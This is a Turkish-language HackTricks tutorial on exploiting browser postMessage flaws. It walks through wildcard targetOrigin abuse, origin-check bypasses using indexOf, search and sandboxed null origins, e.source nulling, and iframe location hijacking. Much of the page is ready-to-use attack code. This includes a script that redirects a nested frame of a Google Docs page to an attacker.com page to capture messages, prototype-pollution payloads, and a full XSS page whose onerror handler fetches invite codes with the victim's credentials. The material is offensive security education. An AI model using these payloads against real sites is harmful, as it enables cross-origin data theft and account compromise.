PostMessage Açıkları

Reading time: 8 minutes

PostMessage Açıkları

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Gönder PostMessage

PostMessage bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:

bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Not edin ki targetOrigin bir '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o domaine gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılıyorsa, mesajlar herhangi bir domaine gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.

iframe saldırısı & targetOrigin'de joker karakter

bu raporda açıklandığı gibi, iframed (hiçbir X-Frame-Header koruması yok) olabilen bir sayfa bulursanız ve bu sayfa joker karakter (*) kullanarak duyarlı mesaj gönderiyorsa, iframe'in kökenini değiştirebilir ve duyarlı mesajı sizin kontrolünüzdeki bir domaine sızdırabilirsiniz.
Sayfanın iframed olabileceğini ancak targetOrigin'in bir URL'ye ve joker karaktere ayarlanmadığını not edin, bu numara çalışmayacaktır.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener istismarı

addEventListener JS tarafından postMessages bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:

javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Not edin ki bu durumda kodun yaptığı ilk şey kaynağı kontrol etmek. Bu, alınan bilgilerle herhangi bir hassas işlem yapılacaksa (örneğin bir şifre değiştirme) son derece önemlidir. Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).

Sayım

Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery versiyonu) için arama yapın
  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Elements --> Event Listeners kısmına gidin

Kaynak kontrolü atlamaları

  • event.isTrusted niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için True döner. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
  • PostMessage olaylarında kaynak doğrulaması için indexOf() kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • String.prototype.search()'ten gelen search() metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodun potansiyel olarak güvensiz olmasına neden olur. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
  • search() ile benzer olan match() fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.

  • escapeHtml fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği hasOwnProperty'yi tanımayacak şekilde manipüle edilebiliyorsa, escapeHtml beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:

  • Beklenen Hata:

javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:
javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Bu zayıflık bağlamında, File nesnesi, salt okunur name özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.

  • JavaScript'teki document.domain özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.

e.origin == window.origin atlaması

Bir web sayfasını %%%%%% kullanarak sandboxed iframe içinde gömülü hale getirirken, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox özellikleri ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.

allow-popups sandbox niteliğinde belirtilerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da null olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.

Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları null olarak ayarlanır. Bu durum, e.origin == window.origin ifadesinin doğru olduğu bir senaryo oluşturur (null == null), çünkü hem iframe hem de açılır pencere null değerine sahip aynı kaynak değerini paylaşır.

Daha fazla bilgi için okuyun:

Bypassing SOP with Iframes - 1

e.source atlaması

Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle tarayıcı uzantılarından gelen İçerik Scriptleri için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):

javascript
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Bir mesajın e.source değerini null yapmak için, postMessage gönderen ve hemen silinen bir iframe oluşturabilirsiniz.

Daha fazla bilgi için şunu okuyun:

Bypassing SOP with Iframes - 2

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine alabilmeniz gerekir. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:

html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Çocuk sayfasına gönderilen mesajı çalmak için ana sayfayı engelleme

Aşağıdaki sayfada, veriyi göndermeden önce ana sayfayı engelleyerek bir çocuk iframe'e gönderilen hassas postmessage verisini nasıl çalabileceğinizi görebilirsiniz ve çocukta bir XSS kullanarak veriyi sızdırabilirsiniz:

Blocking main page to steal postmessage

iframe konumunu değiştirerek mesajı çalmak

X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o çocuk iframe'in konumunu değiştirebilirsiniz, böylece eğer bir wildcard kullanılarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'in kaynağını kendisinin kontrol ettiği bir sayfaya değiştirebilir ve mesajı çalabilir:

Steal postmessage modifying iframe location

postMessage ile Prototip Kirlenmesi ve/veya XSS

postMessage ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe'leyebilir ve prototip kirlenmesi/XSS açığını postMessage aracılığıyla göndererek istismar edebilirsiniz.

postMessage aracılığıyla çok iyi açıklanmış XSS örnekleri https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.

Bir iframe'e postMessage aracılığıyla Prototip Kirlenmesi ve ardından XSS istismar etmek için bir örnek:

html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Daha fazla bilgi için:

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin